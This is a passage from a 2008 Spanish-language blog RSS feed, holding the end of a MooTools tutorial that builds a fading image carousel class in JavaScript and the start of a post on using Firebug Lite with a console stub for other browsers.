&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">imgFx1</span>.<span class="me1">start</span><span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">isImg1OnTop</span>?<span class="nu0">0</span>:<span class="nu0">1</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">imgFx2</span>.<span class="me1">start</span><span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">isImg1OnTop</span>?<span class="nu0">1</span>:<span class="nu0">0</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">isImg1OnTop</span> = !<span class="kw1">this</span>.<span class="me1">isImg1OnTop</span>;<br />
<span class="br0">&#125;</span></div></div>
<p>Lo único que se esta haciendo aquí es disparar el evento onTransition, e iniciando el desvanecido de 0 a 100 por ciento, dependiendo de imagen uno.</p>
<p>Por último se crearán algunos métodos para ser utilizados por otros desarrolladores o por nosotros mismos en otras circunstancias, primeramente un método que detenga al carrusel, otros método para controlar las imágenes, estas pueden provenir de una llamada AJAX o de cualquier otro lugar.</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;"><span class="kw3">stop</span>:<span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">fireEvent</span><span class="br0">&#40;</span><span class="st0">'onStop'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; $clear<span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">timer</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><br />
<br />
newImages:<span class="kw2">function</span><span class="br0">&#40;</span>images<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">images</span> = images;<br />
<span class="br0">&#125;</span>,<br />
addImages:<span class="kw2">function</span><span class="br0">&#40;</span>images<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">images</span>.<span class="me1">merge</span><span class="br0">&#40;</span>images<span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span>,<br />
addImage:<span class="kw2">function</span><span class="br0">&#40;</span>image<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">addImages</span><span class="br0">&#40;</span><span class="br0">&#91;</span>image<span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span>,<br />
deleteImages:<span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="kw3">stop</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">images</span>.<span class="me1">empty</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span></div></div>
<p><strong>Utilizar el carrusel o slideshow</strong><br />
Para utilizar el carrusel hay que crear instancias de esta clase, la forma más básica de su uso es:</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;"><span class="co1">//Utilizando las propiedades por default.</span><br />
<span class="kw2">var</span> car1 = <span class="kw2">new</span> Carrusel<span class="br0">&#40;</span><span class="st0">'carrusel1'</span>,<span class="br0">&#123;</span>images:<span class="br0">&#91;</span><span class="st0">'images/12.jpg'</span>,<span class="st0">'images/09.jpg'</span>,<span class="st0">'images/05.jpg'</span><span class="br0">&#93;</span><span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
<br />
<span class="co1">//Usando los métodos para agregar imagenes</span><br />
<span class="kw2">var</span> car3 = <span class="kw2">new</span> Carrusel<span class="br0">&#40;</span><span class="st0">'carrusel3'</span><span class="br0">&#41;</span>;<br />
car3.<span class="me1">addImages</span><span class="br0">&#40;</span><span class="br0">&#91;</span><span class="st0">'images/14.jpg'</span>,<span class="st0">'images/11.jpg'</span>,<span class="st0">'images/06.jpg'</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
car3.<span class="me1">addImage</span><span class="br0">&#40;</span><span class="st0">'images/10.jpg'</span><span class="br0">&#41;</span>;<br />
car3.<span class="me1">addImage</span><span class="br0">&#40;</span><span class="st0">'images/15.jpg'</span><span class="br0">&#41;</span>;<br />
car3.<span class="me1">start</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<br />
<span class="co1">//Modificando todas las propiedades</span><br />
<span class="kw2">var</span> car4 = <span class="kw2">new</span> Carrusel<span class="br0">&#40;</span><span class="st0">'carrusel4'</span>,<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; durationDelay:<span class="nu0">7000</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; durationFx:<span class="nu0">1500</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; width: <span class="nu0">500</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; height: <span class="nu0">280</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; images:<span class="br0">&#91;</span><span class="st0">'images/08.jpg'</span>,<span class="st0">'images/06.jpg'</span>,<span class="st0">'images/13.jpg'</span><span class="br0">&#93;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; onStart:<span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>console.<span class="me1">debug</span><span class="br0">&#40;</span><span class="st0">'comenzando...'</span><span class="br0">&#41;</span><span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; onTransition:<span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>console.<span class="me1">debug</span><span class="br0">&#40;</span><span class="st0">'haciendo la transición'</span><span class="br0">&#41;</span><span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="br0">&#41;</span>;</div></div>
<p>Hay que recordar que deben existir los elementos en el documento para que funcione correctamente, con esto me refiero a que el HTML debe contener algo como esto para cada instancia del carrusel:</p>
<div class="codecolorer-container html"><div class="codecolorer" style="font-family: monospace;"><span class="sc2"><span class="kw2">&lt;div</span> <span class="kw3">id</span>=<span class="st0">&quot;carrusel1&quot;</span><span class="kw2">&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;/div&gt;</span></span></div></div>
<p>El código completo de la clase <strong>carrusel.js</strong> es el siguiente:</p>
<div class="codecolorer-container javascript" style="height:390px;"><div class="codecolorer" style="font-family: monospace;"><span class="kw2">var</span> Carrusel = <span class="kw2">new</span> <span class="kw2">Class</span><span class="br0">&#40;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; Implements:<span class="br0">&#91;</span>Events, Options<span class="br0">&#93;</span>,<br />
&nbsp; &nbsp; options:<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; images:<span class="br0">&#91;</span><span class="br0">&#93;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; width: <span class="nu0">420</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; height: <span class="nu0">294</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; durationFx:<span class="nu0">1000</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; durationDelay: <span class="nu0">3000</span> <span class="co1">//3 segundos</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; initialize:<span class="kw2">function</span><span class="br0">&#40;</span>el,options<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">setOptions</span><span class="br0">&#40;</span>options || <span class="br0">&#123;</span><span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">el</span> = $<span class="br0">&#40;</span>el<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">id</span> = <span class="kw1">this</span>.<span class="me1">el</span>.<span class="me1">get</span><span class="br0">&#40;</span><span class="st0">'id'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">build</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">start</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; build:<span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//1.- Crear un div contenedor e inyectarlo dentro del elemento principal.</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">var</span> content = <span class="kw2">new</span> Element<span class="br0">&#40;</span><span class="st0">'div'</span>,<span class="br0">&#123;</span>id:<span class="kw1">this</span>.<span class="me1">id</span>+<span class="st0">'_content'</span>,styles:<span class="br0">&#123;</span>position:<span class="st0">'relative'</span>,width:<span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">width</span>+<span class="st0">'px'</span>,height:<span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">height</span>+<span class="st0">'px'</span><span class="br0">&#125;</span><span class="br0">&#125;</span><span class="br0">&#41;</span>.<span class="me1">inject</span><span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">el</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//2.- Crear un div para la imagen1 e inyectarlo al contenedor anterior</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">var</span> img1 = <span class="kw2">new</span> Element<span class="br0">&#40;</span><span class="st0">'div'</span>,<span class="br0">&#123;</span>id:<span class="kw1">this</span>.<span class="me1">id</span>+<span class="st0">'_img1'</span>,styles:<span class="br0">&#123;</span>width:<span class="st0">'100%'</span>,height:<span class="st0">'100%'</span><span class="br0">&#125;</span><span class="br0">&#125;</span><span class="br0">&#41;</span>.<span class="me1">inject</span><span class="br0">&#40;</span>content<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//3.- Crear un div para la imagen2 e inyectarlo al contenedor anterior</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">var</span> img2 = <span class="kw2">new</span> Element<span class="br0">&#40;</span><span class="st0">'div'</span>,<span class="br0">&#123;</span>id:<span class="kw1">this</span>.<span class="me1">id</span>+<span class="st0">'_img2'</span>,styles:<span class="br0">&#123;</span>position:<span class="st0">'absolute'</span>,width:<span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">width</span>+<span class="st0">'px'</span>,height:<span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">height</span>+<span class="st0">'px'</span>,top:<span class="nu0">0</span>,left:<span class="nu0">0</span><span class="br0">&#125;</span><span class="br0">&#125;</span><span class="br0">&#41;</span>.<span class="me1">inject</span><span class="br0">&#40;</span>content<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//4.- Crear las los efectos sobre los divs que contenedores de las imagenes</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">imgFx1</span> = <span class="kw2">new</span> Fx.<span class="me1">Tween</span><span class="br0">&#40;</span>img1, <span class="st0">'opacity'</span>,<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; duration:<span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">durationFx</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; onComplete:<span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">nextImage</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>.<span class="me1">bind</span><span class="br0">&#40;</span><span class="kw1">this</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">imgFx2</span> = <span class="kw2">new</span> Fx.<span class="me1">Tween</span><span class="br0">&#40;</span>img2, <span class="st0">'opacity'</span>,<span class="br0">&#123;</span>duration:<span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">durationFx</span><span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//5.- Iniciar con opacidad al 0%</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">imgFx1</span>.<span class="me1">set</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">imgFx2</span>.<span class="me1">set</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; start:<span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//1.- Revisar si hay imagenes para poder comenzar el carrusel</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">images</span>.<span class="me1">length</span>==<span class="nu0">0</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//2.- Disparar el evento onStart</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">fireEvent</span><span class="br0">&#40;</span><span class="st0">'onStart'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">index</span> = <span class="nu0">-1</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">isImg1OnTop</span> = <span class="kw2">false</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//3.- Solicitar imagen</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">nextImage</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//4.- Hacer la trancision inicial</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">transition</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//5.- Crear un temporizador para ejecutar la transición periodicamente</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">timer</span> = <span class="kw1">this</span>.<span class="me1">transition</span>.<span class="me1">periodical</span><span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">durationDelay</span>,<span class="kw1">this</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; <span class="kw3">stop</span>:<span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">fireEvent</span><span class="br0">&#40;</span><span class="st0">'onStop'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $clear<span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">timer</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; transition:<span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">fireEvent</span><span class="br0">&#40;</span><span class="st0">'onTransition'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">imgFx1</span>.<span class="me1">start</span><span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">isImg1OnTop</span>?<span class="nu0">0</span>:<span class="nu0">1</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">imgFx2</span>.<span class="me1">start</span><span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">isImg1OnTop</span>?<span class="nu0">1</span>:<span class="nu0">0</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">isImg1OnTop</span> = !<span class="kw1">this</span>.<span class="me1">isImg1OnTop</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; nextImage: <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//1.- Se incrementa el contador</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">index</span>++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//2.- Se verifica la dimension del arreglo de imagenes, si llego al limite iniciar desde el principio</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">index</span>&gt;=<span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">images</span>.<span class="me1">length</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">index</span> = <span class="nu0">0</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//3.- Se verifica si la imagen uno esta actualmente viendose, de esta forma se sabe a donde posicionar la siguietne imagen</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">isImg1OnTop</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $<span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">id</span>+<span class="st0">'_img2'</span><span class="br0">&#41;</span>.<span class="me1">setStyle</span><span class="br0">&#40;</span><span class="st0">'background-image'</span>,<span class="st0">'url('</span>+<span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">images</span><span class="br0">&#91;</span><span class="kw1">this</span>.<span class="me1">index</span><span class="br0">&#93;</span>+<span class="st0">')'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $<span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">id</span>+<span class="st0">'_img1'</span><span class="br0">&#41;</span>.<span class="me1">setStyle</span><span class="br0">&#40;</span><span class="st0">'background-image'</span>,<span class="st0">'url('</span>+<span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">images</span><span class="br0">&#91;</span><span class="kw1">this</span>.<span class="me1">index</span><span class="br0">&#93;</span>+<span class="st0">')'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; newImages:<span class="kw2">function</span><span class="br0">&#40;</span>images<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">images</span> = images;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; addImages:<span class="kw2">function</span><span class="br0">&#40;</span>images<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">images</span>.<span class="me1">merge</span><span class="br0">&#40;</span>images<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; addImage:<span class="kw2">function</span><span class="br0">&#40;</span>image<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">addImages</span><span class="br0">&#40;</span><span class="br0">&#91;</span>image<span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span>,<br />
&nbsp; &nbsp; deleteImages:<span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="kw3">stop</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">options</span>.<span class="me1">images</span>.<span class="me1">empty</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><span class="br0">&#41;</span>;</div></div>
<p>El código del documento HTML que lo invoca es:</p>
<div class="codecolorer-container html"><div class="codecolorer" style="font-family: monospace;"><span class="sc0">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;</span><br />
<span class="sc0">&nbsp; &nbsp; &nbsp; &nbsp; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml-strict.dtd&quot;&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;<br />
<span class="sc2"><span class="kw2">&lt;html</span> xmlns=<span class="st0">&quot;http://www.w3.org/1999/xhtml&quot;</span> xml:<span class="kw3">lang</span>=<span class="st0">&quot;es&quot;</span><span class="kw2">&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;head&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc2"><span class="kw2">&lt;meta</span> <span class="kw3">http-equiv</span>=<span class="st0">&quot;Content-Type&quot;</span> <span class="kw3">content</span>=<span class="st0">&quot;text/html; charset=ISO-8859-1;&quot;</span> /<span class="kw2">&gt;</span></span><br />
<br />
<span class="sc2"><span class="kw2">&lt;title&gt;</span></span>Carrusel by Crysfel<span class="sc2"><span class="kw2">&lt;/title&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;script</span> <span class="kw3">type</span>=<span class="st0">&quot;text/javascript&quot;</span> <span class="kw3">src</span>=<span class="st0">&quot;mootools-beta-1.2b2.js&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/script&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;script</span> <span class="kw3">type</span>=<span class="st0">&quot;text/javascript&quot;</span> <span class="kw3">src</span>=<span class="st0">&quot;carrusel.js&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/script&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;script</span> <span class="kw3">type</span>=<span class="st0">&quot;text/javascript&quot;</span><span class="kw2">&gt;</span></span><br />
<br />
window.addEvent('domready', function() {<br />
&nbsp; &nbsp; var car = new Carrusel('carrusel');<br />
&nbsp; &nbsp; car.addImages(['images/14.jpg','images/11.jpg','images/06.jpg']);<br />
&nbsp; &nbsp; car.addImage('images/10.jpg');<br />
&nbsp; &nbsp; car.addImage('images/15.jpg');<br />
&nbsp; &nbsp; car.start();<br />
});<br />
<span class="sc2"><span class="kw2">&lt;/script&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;/head&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;body&gt;</span></span><br />
<br />
<span class="sc2"><span class="kw2">&lt;div</span> <span class="kw3">id</span>=<span class="st0">&quot;carrusel&quot;</span><span class="kw2">&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;/div&gt;</span></span><br />
<br />
<span class="sc2"><span class="kw2">&lt;/body&gt;</span></span><br />
<span class="sc2"><span class="kw2">&lt;/html&gt;</span></span></div></div>
<p><strong>Conclusión</strong><br />
Si lo has notado, para escribir esta clase se han creado varios métodos, cada uno con una responsabilidad especifica, la clase esta muy entendible y fácil de utilizar, esto es lo que se debe tener en cuanta cuando se escriben clases.</p>
<p>Espero que este tutorial sea de utilidad para mas de uno, saludos.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.crysfel.com/index.php/2008/02/13/carrusel-de-imagenes-con-mootools12/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.crysfel.com/index.php/2008/02/13/carrusel-de-imagenes-con-mootools12/</feedburner:origLink></item>
		<item>
		<title>Debugueando con firebug fuera de Firefox</title>
		<link>http://feedproxy.google.com/~r/crysfel/~3/WjH-q8JW-Q0/</link>
		<comments>http://www.crysfel.com/index.php/2008/01/29/debugueando-con-firebug-fuera-de-firefox/#comments</comments>
		<pubDate>Tue, 29 Jan 2008 16:56:06 +0000</pubDate>
		<dc:creator>Crysfel</dc:creator>
		
		<category><![CDATA[Ajax]]></category>

		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.crysfel.com/index.php/2008/01/29/debugueando-con-firebug-fuera-de-firefox/</guid>
		<description><![CDATA[La mayoría de nosotros conocemos la extensión para firefox firebug, ya que es muy  útil a la hora de desarrollar aplicaciones web, desafortunadamente solo podemos trabajar con esta extensión dentro de firefox, pero que pasa si queremos debuguear otros exploradores como Internet Explorer, Opera, Safari?.
Gracias a Joe Hewitt, el creador de firebug, que ha [...]]]></description>
			<content:encoded><![CDATA[<p>La mayoría de nosotros conocemos la extensión para firefox firebug, ya que es muy  útil a la hora de desarrollar aplicaciones web, desafortunadamente solo podemos trabajar con esta extensión dentro de firefox, pero que pasa si queremos debuguear otros exploradores como Internet Explorer, Opera, Safari?.</p>
<p>Gracias a Joe Hewitt, el creador de firebug, que ha puesto esta herramienta disponible para todos los demás exploradores como un archivo javascript, esta versión de firebug es mas ligera y no tiene todo lo que la extensión para firefox, pero es de gran ayuda, simplemente tienes que incluir el archivo javascript en tu página y listo, puedes <a href="http://www.getfirebug.com/lite.html">descargar Firebug Lite desde aquí </a>.</p>
<p>Ahora bien, cuando se esta en la etapa de desarrollo, es recomendable agregar el archivo javascript, pero cuando se sube a producción hay que quitarlo para no desperdiciar ancho de banda, al hacer esto todas las llamadas al objeto console, el encargado de debuguear, marcarán error, para corregir eso simplemente hay que pegar las siguientes líneas de código antes de hacer cualquier llamada al objeto console.</p>
<div class="codecolorer-container javascript"><div class="codecolorer" style="font-family: monospace;"><span class="kw1">if</span> <span class="br0">&#40;</span>!<span class="br0">&#40;</span><span class="st0">&quot;console&quot;</span> <span class="kw1">in</span> window<span class="br0">&#41;</span> || !<span class="br0">&#40;</span><span class="st0">&quot;firebug&quot;</span> <span class="kw1">in</span> console<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw2">var</span> names = <span class="br0">&#91;</span><span class="st0">&quot;log&quot;</span>, <span class="st0">&quot;debug&quot;</span>, <span class="st0">&quot;info&quot;</span>, <span class="st0">&quot;warn&quot;</span>, <span class="st0">&quot;error&quot;</span>, <span class="st0">&quot;assert&quot;</span>, <span class="st0">&quot;dir&quot;</span>, <span class="st0">&quot;dirxml&quot;</span>, <span class="st0">&quot;group&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;, <span class="st0">&quot;groupEnd&quot;</span>, <span class="st0">&quot;time&quot;</span>, <span class="st0">&quot;timeEnd&quot;</span>, <span class="st0">&quot;count&quot;</span>, <span class="st0">&quot;trace&quot;</span>, <span class="st0">&quot;profile&quot;</span>, <span class="st0">&quot;profileEnd&quot;</span><span class="br0">&#93;</span>;<br />
&nbsp; &nbsp; window.<span class="me1">console</span> = <span class="br0">&#123;</span><span class="br0">&#125;</span>;<br />
&nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw2">var</span> i = <span class="nu0">0</span>; i &lt;names.<span class="me1">length</span>; ++i<span class="br0">&#41;</span> window.<span class="me1">console</span><span class="br0">&#91;</span>names<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#93;</span> = <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><span class="br0">&#125;</span>;<br />
<span class="br0">&#125;</span></div></div>
<p>Con esto se crea el objeto console y ya no marcará errores la aplicación.</p>
